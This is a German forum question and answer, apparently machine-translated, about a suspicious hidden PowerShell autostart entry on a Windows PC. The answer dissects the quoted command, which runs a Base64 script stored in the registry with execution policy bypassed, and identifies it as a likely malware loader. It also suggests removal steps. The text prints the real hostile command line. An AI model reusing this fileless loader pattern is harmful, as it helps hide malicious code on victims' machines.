
Vor ein paar Tagen ist mir im Task-Manager aufgefallen, dass ein powershell.exe-Prozess läuft. Als ich zu msconfig ging, wurde ein wirklich langer Befehl angezeigt. Hier ist er:
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));
Das ist wirklich seltsam, denn gerade heute ist ein zufälliger Prozess aufgetaucht, mit dem ich vorher schon Probleme hatte (vielleicht hat das nichts damit zu tun, aber nur so nebenbei), ein Virus, der versucht hat, einen ungesicherten Treiber, wie Windows sagt, auf meinen PC herunterzuladen. Kann mir jemand etwas über diesen PowerShell-Prozess sagen? Er startet beim Systemstart und läuft immer. Ich hoffe, ich klinge nicht ignorant, vielleicht ist es nur ein normaler Startvorgang.
Antwort1
Dies ist mit ziemlicher Sicherheit böswillig.
Lassen Sie uns das auseinandernehmen. Es ruft Windows PowerShell (einen legitimen und sehr nützlichen Befehlsinterpreter) ohne Benutzeranpassungen ( -noprofile
) in einem versteckten Fenster ( -windowstyle hidden
) auf, wodurch die PowerShell-Sitzung Skripts unabhängig von der Systemrichtlinie ( -executionpolicy bypass
) ausführen kann. Anschließend wird dieser Befehl ausgeführt:
iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))
gp
bedeutet Get-ItemProperty
, das zum Abrufen von Werten von Registrierungsschlüsseln verwendet werden kann, und genau das tut es hier. Offenbar gibt es einen Schlüssel namens SAJELFZIXHQTV
in Ihrem aktuellen Benutzerschlüssel Software\Classes
. Dieser Schlüssel hat einen Wert namens ADUXJH
, dessen Daten gp
abgerufen werden. Diese Daten (offensichtlich eine Zeichenfolge) werden dannBase64- in ein Byte-Array ( FromBase64String
) dekodiert. Diese Bytes werden dann als ASCII-Text ( ASCII.GetString
) interpretiert. Seltsamerweise gibt es im Original einen zusätzlichen Punkt, der einen Fehler verursachen sollte, da das ASCII
Objekt kein Mitglied namens hat Get
. Da der Prozess jedoch bestehen bleibt, vermute ich, dass der zusätzliche Punkt nur ein Transkriptionsfehler ist.
Wenn dieser Fehler nicht vorhanden wäre, würde der resultierende Text als PowerShell-Befehl ( iex
) aufgerufen. Kurz gesagt dient dieser Befehl dazu, ein codiertes Skript aus der Registry zu laden und auszuführen. Um genau zu sehen, was es ausführt, kopieren Sie den obigen PowerShell-Befehl ohne das „und“ iex
und entfernen Sie den zusätzlichen Punkt in eine PowerShell-Eingabeaufforderung und führen Sie ihn aus. Der aufgerufene Befehl wird ausgegeben. Er wird mit ziemlicher Sicherheit nicht harmlos sein.
Sie können den automatischen Start dieses Eintrags mit demAutorunsTool. Es ist jedoch wahrscheinlich eine gute Idee, Ihren Computer gründlicher zu reinigen, da er wahrscheinlich infiziert ist. Bitte lesen SieWie kann ich bösartige Spyware, Malware, Adware, Viren, Trojaner oder Rootkits von meinem PC entfernen?